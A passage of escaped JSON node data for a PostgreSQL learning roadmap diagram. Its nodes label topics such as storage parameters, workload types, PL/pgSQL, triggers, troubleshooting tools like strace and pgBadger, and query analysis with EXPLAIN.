\"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"msm4QCAA-MRVI1psf6tt3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -111.99979100380307,\n        \"y\": 2478.831856459073\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Per-User, Per-Database Setting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287\n      },\n      \"positionAbsolute\": {\n        \"x\": -111.99979100380307,\n        \"y\": 2478.831856459073\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4VrT_K9cZZ0qE1EheSQy0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -111.09619492348355,\n        \"y\": 2531.831856459073\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage Parameters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287\n      },\n      \"positionAbsolute\": {\n        \"x\": -111.09619492348355,\n        \"y\": 2531.831856459073\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FNiWebesMOSYuYeNHmfEA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -87.24744704168165,\n        \"y\": 2585\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workload-Dependant Tuning\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -87.24744704168165,\n        \"y\": 2585\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"VekAMpcrugHGuvSbyPZVv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -106.28514889760959,\n        \"y\": 2625.4010782829546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OLTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -106.28514889760959,\n        \"y\": 2625.4010782829546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WI3-7hFAnJw5f7GIn-5kp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -27.145028544109323,\n        \"y\": 2625.4010782829546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OLAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -27.145028544109323,\n        \"y\": 2625.4010782829546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rHDlm78yroRrrAAcabEAl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 74.90380507651646,\n        \"y\": 2625.4010782829546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 74.90380507651646,\n        \"y\": 2625.4010782829546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ur23UVs_nXaltytF1WJD8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2475.6751038969546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PL/pgSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2475.6751038969546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LiF2Yh818D-zEF58v5Fgr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2528.6751038969546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Procedures and Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2528.6751038969546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ps2KK88QA1n5udn2ochIn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2581.6751038969546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Triggers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.74800532678137,\n        \"y\": 2581.6751038969546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A1LGOqqaka0ILcYwybclP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 369.0666234855813,\n        \"y\": 2581.6751038969546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursive CTE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 369.0666234855813,\n        \"y\": 2581.6751038969546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iQqEC1CnVAoM7x455jO_S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 237.06662348558132,\n        \"y\": 2635.6751038969546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Aggregate and Window functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.06662348558132,\n        \"y\": 2635.6751038969546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g007fG2EVP9RDAq7wKaP4\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 273.5666234855813,\n        \"y\": 2431.0839460902976\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 43,\n      \"positionAbsolute\": {\n        \"x\": 273.5666234855813,\n        \"y\": 2431.0839460902976\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 43\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 43\n      }\n    },\n    {\n      \"id\": \"yjCh_34KRPysCR_1-ham3\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 237.24800532678137,\n        \"y\": 2738.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Troubleshooting Techniques\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"xOLVCPum_oCJo00obtZfJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 237.24800532678137,\n        \"y\": 2738.521312862793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 67\n      },\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"wn4ccLOsN1n0fhUHnvid4\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 284.06761605808623,\n        \"y\": 2818.5445362219575\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operating System Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 284.06761605808623,\n        \"y\": 2818.5445362219575\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"pvj33qDiG3sSjtiW6sUra\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.43581282229604,\n        \"y\": 2857.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"top\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 271.43581282229604,\n        \"y\": 2857.7525074808896\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0hRQtRsteGDnKO5XgLF1R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.0911527840548,\n        \"y\": 2857.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"sysstat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 338.0911527840548,\n        \"y\": 2857.7525074808896\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n8oHT7YwhHhFdU5_7DZ_F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.76795344629994,\n        \"y\": 2857.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iotop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 423.76795344629994,\n        \"y\": 2857.7525074808896\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zexZ__L0kaSUxjRP-1Uhz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 92.22376611000715,\n        \"y\": 2819.713928151111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Profiling Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"wn4ccLOsN1n0fhUHnvid4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 92.22376611000715,\n        \"y\": 2819.713928151111\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"yIdUhfE2ZTQhDAdQsXrnH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2911.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gdb\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pvj33qDiG3sSjtiW6sUra\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2911.921899410043\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C_cUfEufYeUlAdVfdUvsK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 156.5122485433766,\n        \"y\": 2911.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"strace\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0hRQtRsteGDnKO5XgLF1R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 156.5122485433766,\n        \"y\": 2911.921899410043\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QarPFu_wU6-F9P5YHo6CO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.573778566485316,\n        \"y\": 3017.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ebpf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n8oHT7YwhHhFdU5_7DZ_F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 59.573778566485316,\n        \"y\": 3017.921899410043\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wH447bS-csqmGbk-jaGqp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2858.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"perf-tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2858.921899410043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-CIezYPHTcXJF_p4T55-c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2964.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Dumps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 59.573778566485316,\n        \"y\": 2964.921899410043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Uu08Kq8FE8k60XpenSW3q\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 318.5035187295112,\n        \"y\": 2919.8914958677256\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Log Analysis\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 123\n      },\n      \"positionAbsolute\": {\n        \"x\": 318.5035187295112,\n        \"y\": 2919.8914958677256\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"V2iW8tJQXwsRknnZXoHGd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 265.00351872951126,\n        \"y\": 3020.6488032119946\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pgBadger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 265.00351872951126,\n        \"y\": 3020.6488032119946\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ISuU1lWH_zVDlCHnWXbf9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 265.00351872951126,\n        \"y\": 2967.6488032119946\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pgCluu\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 265.00351872951126,\n        \"y\": 2967.6488032119946\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HJCRntic0aGVvdmCN45aP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 265.00351872951126,\n        \"y\": 3073.6488032119946\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"awk\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pvj33qDiG3sSjtiW6sUra\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 265.00351872951126,\n        \"y\": 3073.6488032119946\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cFtrSgboZRJ3Q63eaqEBf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.02625639487707,\n        \"y\": 3073.6488032119946\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"grep\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0hRQtRsteGDnKO5XgLF1R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.02625639487707,\n        \"y\": 3073.6488032119946\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hVL6OtsXrE8BvjKpRjB-9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 415.24853520948136,\n        \"y\": 3073.6488032119946\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"sed\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n8oHT7YwhHhFdU5_7DZ_F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 415.24853520948136,\n        \"y\": 3073.6488032119946\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"shk69Z5f0lxNWHP75T2OQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -369.25634421460154,\n        \"y\": 2819.713928151111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Posgres System Views\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -369.25634421460154,\n        \"y\": 2819.713928151111\n      },\n      \"dragging\": false,\n      \"style\": {},\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"_NL5pGGTLNxCFx4axOqfu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.50018768087136,\n        \"y\": 2858.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_stat_activity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.50018768087136,\n        \"y\": 2858.921899410043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wLMGOUaULW7ZALRr-shTz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.50018768087136,\n        \"y\": 2911.921899410043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_stat_statements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.50018768087136,\n        \"y\": 2911.921899410043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7KjUtZMy9sNJMny47ybS1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -121.08616061032765,\n        \"y\": 3029.4542454380176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Posgres Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -121.08616061032765,\n        \"y\": 3029.4542454380176\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"TytU0IpWgwhr4w4W4H3Vx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.08616061032765,\n        \"y\": 3075.9542454380176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pgcenter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -162.08616061032765,\n        \"y\": 3075.9542454380176\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K2YbL7Gg1eUHokcxpqLcv\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -124.08616061032765,\n        \"y\": 2818.5445362219575\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Query Analysis\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -124.08616061032765,\n        \"y\": 2818.5445362219575\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"n2OjwxzIHnATraRWi5Ddl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2857.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EXPLAIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2857.7525074808896\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rVlncpLO20WK6mjyqLerL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.7723738950946,\n        \"y\": 2857.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": 